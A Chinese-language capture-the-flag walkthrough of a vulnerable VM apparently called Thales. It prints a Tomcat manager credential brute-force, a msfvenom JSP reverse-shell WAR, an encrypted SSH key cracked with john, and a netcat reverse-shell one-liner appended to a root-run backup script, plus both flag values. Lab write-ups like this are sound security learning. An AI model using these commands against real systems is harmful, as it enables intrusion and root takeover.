描述

Description : Open your eyes and change your perspective

includes 2 flags:user.txt and root.txt.

Telegram: @machineboy141 (for any hint)

This works better with VIrtualBox rathe than VMware

靶机ip

  1. 开机按 shift

image-20221010085946503

  1. 有两个选项的时候按 e

image-20221010085958869

  1. 往下翻 把图一位置改成图二 rw single init=/bin/bash

image-20221010090034685

image-20221010090119047

  1. 然后按下trl+x重启之后

image-20221010090146637

  1. 使用ip a命令查看网卡,发现是ens33，然后修改一下配置文件
  2. 有两个路径,大多第二个路径,自行尝试

​ 第一个: vim /etc/network/interfaces

​ 第二个: cd etc/netplan/
​ ls
​ nano ls查看的文件名

image-20221010090440670

  1. 将网卡信息改为ens33,保存后重启靶机

image-20221010090520368

image-20221010090559632

nano：使用快捷Ctrl+X，然后会提示输入Y保存修改、输入N放弃修改。

vi：首先需要按ESC键回到命令模式；然后输入:wq 保存文件并退出vi；最后回车即可。

namp 扫描

image-20221010092501628

1
2
kali 192.168.169.220
靶机  192.168.169.240

靶机ip扫描

image-20221010092650954

22 8080

8080

1
http://192.168.169.240:8080/

image-20221010093034699

  • 登录框

image-20221010093203351

msf

image-20221010093354626

image-20221010093654495

image-20221010093728497

1
tomcat:role1

登录试一下

image-20221010093930772

image-20221010094044114

image-20221010094231381

image-20221010094256988

  • 上传文件的位置

shell

  • 上传一个反弹shell试试,创建反弹shell
  • msf生成文件
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.169.220 LPORT=6666 -f war -o revshell.war

image-20221010095320807

  • 在上传文件的位置上传此文件

  • nc 监听

image-20221010095541595

  • 上传成功.访问一下
1
http://192.168.169.240:8080/revshell/

image-20221010095633810

  • 监听成功
1
2
3
4
5
# 查看python 版本
which python
which python3
# 交互
python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20221010095829298

找文件

image-20221010100113441

  • user.txt 没权限

image-20221010100333890

  • 私钥

  • 用 ssh2john.py 生成密码文件然后爆破，保存秘钥到本地：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF

ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY----

image-20221010100733079

  • 用 ssh2john.py 脚本编译一下： 没跑出来别人的图
1
/usr/share/john/ssh2john.py id_rsa > crack.txt

image-20221010103959651

1
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt

image-20221010104023326

1
解得密码为：vodka06
  • 切换 thales 用户

image-20221010104234301

image-20221010104357777

1
a837c0b5d2a8a07225fd9905f5a0e9c4

提权

image-20221010105123121

image-20221010105201957

  • 可以看出是root运行的，我们读写执行都可以。
1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.169.220 7777 >/tmp/f" >> backup.sh

image-20221010105614599

image-20221010105707559

1
3a1c85bebf8833b0ecae900fb8598b17